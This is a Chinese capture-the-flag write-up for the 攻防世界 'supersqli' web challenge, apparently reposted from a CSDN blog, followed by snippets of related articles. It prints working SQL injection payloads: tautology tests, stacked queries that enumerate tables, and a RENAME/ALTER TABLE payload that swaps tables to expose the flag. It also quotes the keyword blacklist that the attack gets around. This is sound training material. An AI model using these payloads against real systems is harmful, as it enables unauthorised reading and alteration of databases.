攻防世界——supersqli
1、打开显示f12是没有灵魂的
2、使用万能的sql注入语句 1' or 1=1#
回显不正常,说明存在注入
3、开始判断有多少列,当开始判断到第三列时,回显不正常,说明只有两列
4、现在就开始注入了
但是在用联合查询时并没有返回想要的信息,出现了一串
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
上网冲浪了解了一波,好像是类似黑名单,这些词会被替换,那没办法了,我们就用堆叠注入
PHP preg_replace() 正则替换,与Javascript 正则替换不同,PHP preg_replace() 默认就是替换所有符号匹配条件的元素。
复制代码 代码如下:
preg_replace (正则表达式, 替换成, 字符串, 最大替换次数【默认-1,无数次】, 替换次数)
- -1';show databases;#
- -1';use supersqli;show tables;#
- -1';use supersqli;show columns from `1919810931114514`;#
这里数字要用反引号包裹
- 接下来应该select flag from `1919810931114514`,但是select被过滤了只要网上冲浪看看大佬们怎么做的
我们查询word列发现结构大致相同,由于注入框的查询是对列id
的搜索,此时参考两个表的列名,需要将flag
列名改为能够查找的id
列(修改包括名称和数据类型)。
接下来输入:1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
- 在用1' or 1=1#就查出来了
借鉴一个大神的
第二个方法是将两个表列名互换,查询语句不变的情况下,会直接查询words表中内容。
RENAME TABLE tbl_name TO new_tbl_name 将表tbl_name的名字改成new_tbl_name。
由于注入框的查询是对列id的搜索,此时参考两个表的列名,需要将flag列名改为能够查找的id列(修改包括名称和数据类型)。
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
1
具体为什么修改为CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL就是数据库数据类型的问题了。
将操作连贯起来,构造Payload。
';RENAME TABLE `words` TO `word`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;SHOW columns FROM words;
1
到这里我们的表列名就已经修改完毕,此时还会输出修改完成的words列名,最后通过万能钥匙1' or '1'='1即可得到输出。
array(6) {
[0]=>
string(2) "id"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}————————————————
版权声明:本文为CSDN博主「ch3uhx9」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_45969062/article/details/114683113
攻防世界——supersqli相关推荐
- 攻防世界supersqli—wp
题目很明显,应该就是SQL注入,提交1试试 有回显,那就再提交 1' 报错了,直接查数据库看看 提交1'; select databases --+ what's up?select,update,w ...
- 攻防世界 supersqli
本道题考查的是sql注入中的堆叠注入 该题只有一个查询框,我们尝试使用联合注入,但是发现select等被过滤了 所以我们尝试使用堆叠注入,堆叠注入就是使用分号隔开要执行的多条sql语句,且可执行任意的 ...
- 攻防世界-supersqli(堆叠注入)
输入1正常显示,输入1'报错,可以判定是注入 输入2可以,3不行,可以知道有2个字段 然后判定回显位 1' union select 1,2# 过滤了挺多东西的,双写select也无法绕过 看了wp ...
- 攻防世界——supersqli进阶
关于sqil的题目,这个真的是知识面太杂了.我研究了好几天,才看懂了这个题解. 打开场景以后,发现的是一个文本框,然后试一下有没有sql注入 先输入1发现回显正常,然后输入1'发现出现错误,然后就可以 ...
- 攻防世界(web篇)---supersqli
文章目录 攻防世界(web篇)---supersqli 拿到题目后,发现是单引号报错字符型注入 order by 2的时候页面正常回显,order by 3的时候页面出错 接下来union查询,发现被 ...
- 攻防世界 sql注入
攻防世界supersql(兼buuctf随便注) 首先添加一个单引号1' --+发现出错. error 1064 : You have an error in your SQL syntax; che ...
- 攻防世界-web高手进阶区
文章目录 攻防世界-web高手进阶区 1.baby_web 2.Training-WWW-Robots 3.Web_php_include (文件包含+伪协议) 1.方法 2.方法 4.ics-06( ...
- web做题记录(buuoj,jarvis,攻防世界,bugku,hackme)
web做题笔记 文章目录 web做题笔记 buuoj easy_tornado 随便注 warmup easysql 高明的黑客 jarvisoj re? flag在管理员手上 api调用 chopp ...
- 【攻防世界001】Guess-the-Number
攻防世界之前刷了几十题了,没写wp,感觉很简单没啥意思.后来参加了几次比赛,发现有点干不动,决定还是老老实实刷题好了.这是第一篇wp,这题很简单,是个jar,用jd-gui可以得到java源码. 原来 ...
最新文章
- PCL点云分割(1)
- Java源码分析:深入探讨Iterator模式
- GIT项目管理工具(part1)--简介及概念
- HTTP协议快速入门
- 第五——十三章的作业
- Unity3D-光照系统
- Unknown system variable 'tx_isolation'报错
- 为了生产iPhone 12,富士康连国庆节也没假放了
- 外网访问内网Tornado
- std::thread的常用参数传递总结
- python(3)-内置函数2
- AI产品经理,如何面对数据挖掘?
- CSS动画入门:一分钟实现球体上下跳动动画效果
- jq bind命名空间
- 如何有效练习英语口语
- 【Java Swing探索之路系列】之二:Java Swing布局面板组件
- mac(苹果电脑系统)安装vs code编译运行c/c++
- 流量计脉冲频率0-100Hz转电压电流4-20mA信号隔离变送器
- 软件测试江湖(二)神兵利器篇
- 原型 van Emde Boas 树
热门文章
- 秋色园QBlog技术原理解析:性能优化篇:access的并发极限及超级分库分散并发方案(十六)...
- 前端开发:组件之间的传值(父传子、子传父、兄弟组件之间传值)的使用
- 利用QPainter、QColor绘制黑白棋盘功能
- mysql查询18至28岁的人,MariaDB第三章(select)基本查询
- linux 中.a和.so的区别
- 函数声明与函数表达式的提升问题
- 盘点那些《隐秘的角落》带来的影响
- mac修改默认python版本_Mac系统修改Python版本软链接
- 【一周头条盘点】中国软件网(2018.10.29~2018.11.2)
- 病理与病理生理学【2】